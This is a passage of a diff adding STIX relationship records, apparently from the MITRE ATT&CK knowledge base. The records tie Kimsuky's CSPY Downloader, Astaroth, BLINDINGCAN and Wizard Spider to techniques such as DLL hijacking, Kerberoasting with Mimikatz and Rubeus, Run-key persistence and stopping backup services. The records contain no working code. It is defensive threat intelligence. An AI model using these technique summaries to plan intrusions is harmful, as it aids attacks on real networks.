Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--d9d86c0c-6ee9-4fdc-bb9b-6d331a44bbde", + "type": "relationship", + "modified": "2020-11-09T14:52:45.806Z", + "created": "2020-11-09T14:52:45.806Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--5256c0f8-9108-4c92-8b09-482dfacdcd94", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "external_references": [ + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). 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Retrieved November 6, 2020." + } + ], + "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) has been delivered via malicious documents with embedded macros.(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--63e937c3-f395-4146-8061-6c00550bcd6a", + "type": "relationship", + "modified": "2020-11-09T14:52:45.824Z", + "created": "2020-11-09T14:52:45.824Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "target_ref": "tool--c9703cd3-141c-43a0-a926-380082be5d04", + "external_references": [ + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). 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Retrieved November 6, 2020." + } + ], + "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) has the ability to self delete.(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--0d388cf6-adcd-4708-8203-cea7180340b0", + "type": "relationship", + "modified": "2021-04-22T13:46:15.469Z", + "created": "2020-11-09T15:08:23.128Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--5256c0f8-9108-4c92-8b09-482dfacdcd94", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "external_references": [ + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + } + ], + "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) can write to the Registry under the %windir% variable to execute tasks.(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--4d58ff48-b6d8-48ba-aa29-2f34d4dc1264", + "type": "relationship", + "modified": "2020-11-09T15:08:23.188Z", + "created": "2020-11-09T15:08:23.188Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", + "external_references": [ + { + "source_name": "Securelist Brazilian Banking Malware July 2020", + "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", + "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020." + } + ], + "description": "[Astaroth](https://attack.mitre.org/software/S0373) can launch itself via DLL Search Order Hijacking.(Citation: Securelist Brazilian Banking Malware July 2020)", + "relationship_type": "uses", + "id": "relationship--70b2e51a-c5c4-48af-8f9c-112a4854e18d", + "type": "relationship", + "modified": "2020-11-09T16:28:37.544Z", + "created": "2020-11-09T16:28:37.544Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "target_ref": "attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7", + "external_references": [ + { + "source_name": "Securelist Brazilian Banking Malware July 2020", + "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", + "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020." + } + ], + "description": "[Astaroth](https://attack.mitre.org/software/S0373) can store C2 information on cloud hosting services such as AWS and CloudFlare and websites like YouTube and Facebook.(Citation: Securelist Brazilian Banking Malware July 2020)", + "relationship_type": "uses", + "id": "relationship--00914655-1a22-40ed-ae4d-6adb1a6acd35", + "type": "relationship", + "modified": "2020-11-09T16:28:37.599Z", + "created": "2020-11-09T16:28:37.599Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", + "external_references": [ + { + "source_name": "Securelist Brazilian Banking Malware July 2020", + "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", + "description": "GReAT. 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Retrieved November 9, 2020." + } + ], + "description": "[Astaroth](https://attack.mitre.org/software/S0373) can check for Windows product ID's used by sandboxes and usernames and disk serial numbers associated with analyst environments.(Citation: Securelist Brazilian Banking Malware July 2020)", + "relationship_type": "uses", + "id": "relationship--2cfab77c-89d8-4e95-9ef9-43e0a77c5e4d", + "type": "relationship", + "modified": "2020-11-09T16:28:37.649Z", + "created": "2020-11-09T16:28:37.649Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "external_references": [ + { + "source_name": "Securelist Brazilian Banking Malware July 2020", + "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", + "description": "GReAT. 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Retrieved November 9, 2020." + } + ], + "description": "[Astaroth](https://attack.mitre.org/software/S0373) has used malicious VBS e-mail attachments for execution.(Citation: Securelist Brazilian Banking Malware July 2020)", + "relationship_type": "uses", + "id": "relationship--34ad093b-408b-4694-8aba-862f8de10102", + "type": "relationship", + "modified": "2020-11-09T16:28:37.700Z", + "created": "2020-11-09T16:28:37.700Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "external_references": [ + { + "source_name": "Securelist Brazilian Banking Malware July 2020", + "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", + "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. 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ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", + "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research", + "source_name": "Cybereason Astaroth Feb 2019" + } + ], + "description": "[Astaroth](https://attack.mitre.org/software/S0373) has used a DGA in C2 communications.(Citation: Cybereason Astaroth Feb 2019)", + "relationship_type": "uses", + "id": "relationship--ec60f1d2-2bb3-459d-8095-5bda47927226", + "type": "relationship", + "modified": "2020-12-08T20:57:58.405Z", + "created": "2020-11-09T16:36:23.514Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "external_references": [ + { + "source_name": "NHS UK BLINDINGCAN Aug 2020", + "url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3603", + "description": "NHS Digital . (2020, August 20). BLINDINGCAN Remote Access Trojan. Retrieved August 20, 2020." + }, + { + "source_name": "US-CERT BLINDINGCAN Aug 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", + "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020." + } + ], + "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has sent user and system information to a C2 server via HTTP POST requests.(Citation: NHS UK BLINDINGCAN Aug 2020)(Citation: US-CERT BLINDINGCAN Aug 2020)", + "relationship_type": "uses", + "id": "relationship--84694171-7b5a-457d-ac1f-304bf0d71d4c", + "type": "relationship", + "modified": "2020-11-09T19:35:19.080Z", + "created": "2020-11-09T19:35:19.080Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "external_references": [ + { + "source_name": "US-CERT BLINDINGCAN Aug 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", + "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020." + } + ], + "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has obfuscated code using Base64 encoding.(Citation: US-CERT BLINDINGCAN Aug 2020)", + "relationship_type": "uses", + "id": "relationship--48e36609-a492-43a6-b0ab-c27ce106b0e6", + "type": "relationship", + "modified": "2020-11-09T19:39:10.291Z", + "created": "2020-11-09T19:39:10.291Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "external_references": [ + { + "source_name": "US-CERT BLINDINGCAN Aug 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", + "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020." + } + ], + "description": " [BLINDINGCAN](https://attack.mitre.org/software/S0520) has uploaded files from victim machines.(Citation: US-CERT BLINDINGCAN Aug 2020)", + "relationship_type": "uses", + "id": "relationship--36d45d93-4a7f-4af1-b89a-2c2744f6b535", + "type": "relationship", + "modified": "2020-11-09T21:54:38.787Z", + "created": "2020-11-09T21:54:38.787Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", + "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", + "external_references": [ + { + "source_name": "US-CERT BLINDINGCAN Aug 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", + "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020." + } + ], + "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has been signed with code-signing certificates such as CodeRipper.(Citation: US-CERT BLINDINGCAN Aug 2020)", + "relationship_type": "uses", + "id": "relationship--4a60552c-4abb-4310-be2c-191042ceb637", + "type": "relationship", + "modified": "2020-11-09T21:54:38.795Z", + "created": "2020-11-09T21:54:38.795Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", + "external_references": [ + { + "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a", + "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020." + }, + { + "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020", + "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", + "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has injected malicious DLLs into memory with read, write, and execute permissions.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)", + "relationship_type": "uses", + "id": "relationship--f9d9b5aa-f4d6-46fc-8831-21ca405ab8e5", + "type": "relationship", + "modified": "2020-11-10T15:46:09.219Z", + "created": "2020-11-10T15:39:49.352Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24", + "external_references": [ + { + "source_name": "FireEye KEGTAP SINGLEMALT October 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has gained access to credentials via exported copies of the ntds.dit Active Directory database.(Citation: FireEye KEGTAP SINGLEMALT October 2020)", + "relationship_type": "uses", + "id": "relationship--a1e10048-626c-4e64-9bdb-fd576be8c19f", + "type": "relationship", + "modified": "2020-11-10T15:39:49.368Z", + "created": "2020-11-10T15:39:49.368Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", + "external_references": [ + { + "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a", + "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has lured victims into clicking a malicious link delivered through spearphishing.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)", + "relationship_type": "uses", + "id": "relationship--b9dcab92-6b0d-43c7-a122-90eccb016b9d", + "type": "relationship", + "modified": "2020-11-10T15:39:49.375Z", + "created": "2020-11-10T15:39:49.375Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", + "external_references": [ + { + "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a", + "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020." + }, + { + "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020", + "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", + "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has sent phishing emails containing a link to an actor-controlled Google Drive document or other free online file hosting services.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)", + "relationship_type": "uses", + "id": "relationship--d87925c8-23ed-4913-81d6-c4d93d65c798", + "type": "relationship", + "modified": "2020-11-10T15:46:09.451Z", + "created": "2020-11-10T15:39:49.385Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee", + "external_references": [ + { + "source_name": "DFIR Ryuk's Return October 2020", + "url": "https://thedfirreport.com/2020/10/08/ryuks-return/", + "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020." + }, + { + "source_name": "FireEye KEGTAP SINGLEMALT October 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020." + }, + { + "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a", + "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020." + }, + { + "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020", + "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", + "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used Rubeus, MimiKatz Kerberos module, and the Invoke-Kerberoast cmdlet to steal AES hashes.(Citation: DFIR Ryuk's Return October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)", + "relationship_type": "uses", + "id": "relationship--72b30ddb-137c-4799-bacd-ab17aa2d01fc", + "type": "relationship", + "modified": "2020-11-10T16:04:00.641Z", + "created": "2020-11-10T16:04:00.641Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", + "external_references": [ + { + "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a", + "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used Window Remote Management to move laterally through a victim network.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)", + "relationship_type": "uses", + "id": "relationship--f947ae1c-1042-469d-b00e-84784e406cec", + "type": "relationship", + "modified": "2020-11-10T16:04:00.714Z", + "created": "2020-11-10T16:04:00.714Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "external_references": [ + { + "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a", + "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used the \u201cnet view\u201d command to locate mapped network shares.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)", + "relationship_type": "uses", + "id": "relationship--eaebb080-e57e-4c06-84df-376cc8bff09e", + "type": "relationship", + "modified": "2020-11-10T16:04:00.852Z", + "created": "2020-11-10T16:04:00.852Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", + "external_references": [ + { + "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a", + "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020." + }, + { + "source_name": "FireEye KEGTAP SINGLEMALT October 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020." + }, + { + "source_name": "DFIR Ryuk's Return October 2020", + "url": "https://thedfirreport.com/2020/10/08/ryuks-return/", + "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has shut down or uninstalled security applications on victim systems that might prevent ransomware from executing.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DFIR Ryuk's Return October 2020)", + "relationship_type": "uses", + "id": "relationship--dae7228a-89f0-4e1c-b306-b9f6d08b902d", + "type": "relationship", + "modified": "2020-11-10T16:04:00.973Z", + "created": "2020-11-10T16:04:00.973Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "external_references": [ + { + "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a", + "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020." + }, + { + "source_name": "FireEye KEGTAP SINGLEMALT October 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has established persistence via the Registry key HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run and a shortcut within the startup folder.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)", + "relationship_type": "uses", + "id": "relationship--f3cc3739-9dea-41c9-ac82-038b9c92bdb0", + "type": "relationship", + "modified": "2020-12-18T16:10:19.470Z", + "created": "2020-11-10T16:04:00.986Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "external_references": [ + { + "source_name": "Sophos New Ryuk Attack October 2020", + "url": "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/", + "description": "Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They\u2019re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used \"whoami\" to identify the local user and their privileges.(Citation: Sophos New Ryuk Attack October 2020)", + "relationship_type": "uses", + "id": "relationship--aca710ff-23a3-4c78-b75a-dfe6cad337a9", + "type": "relationship", + "modified": "2020-11-10T16:22:44.111Z", + "created": "2020-11-10T16:22:44.111Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", + "external_references": [ + { + "source_name": "FireEye KEGTAP SINGLEMALT October 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used administrative accounts, including Domain Admin, to move laterally within a victim network.(Citation: FireEye KEGTAP SINGLEMALT October 2020)", + "relationship_type": "uses", + "id": "relationship--2dd33387-a109-46cd-8204-cb79a62e4830", + "type": "relationship", + "modified": "2020-11-10T16:24:46.847Z", + "created": "2020-11-10T16:24:46.847Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "external_references": [ + { + "source_name": "FireEye KEGTAP SINGLEMALT October 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has accessed victim networks by using stolen credentials to access the corporate VPN infrastructure.(Citation: FireEye KEGTAP SINGLEMALT October 2020)", + "relationship_type": "uses", + "id": "relationship--79b0a6bc-4061-468c-ac1b-eef3dc3fb419", + "type": "relationship", + "modified": "2020-11-10T16:24:46.955Z", + "created": "2020-11-10T16:24:46.955Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", + "external_references": [ + { + "source_name": "DFIR Ryuk's Return October 2020", + "url": "https://thedfirreport.com/2020/10/08/ryuks-return/", + "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used taskkill.exe and net.exe to stop backup, catalog, cloud, and other services prior to network encryption.(Citation: DFIR Ryuk's Return October 2020)", + "relationship_type": "uses", + "id": "relationship--cd283aa1-23f1-4516-9198-9d565bd4a431", + "type": "relationship", + "modified": "2020-11-10T16:24:47.051Z", + "created": "2020-11-10T16:24:47.051Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", + "external_references": [ + { + "source_name": "DFIR Ryuk's Return October 2020", + "url": "https://thedfirreport.com/2020/10/08/ryuks-return/", + "description": "The DFIR Report. (2020, October 8). 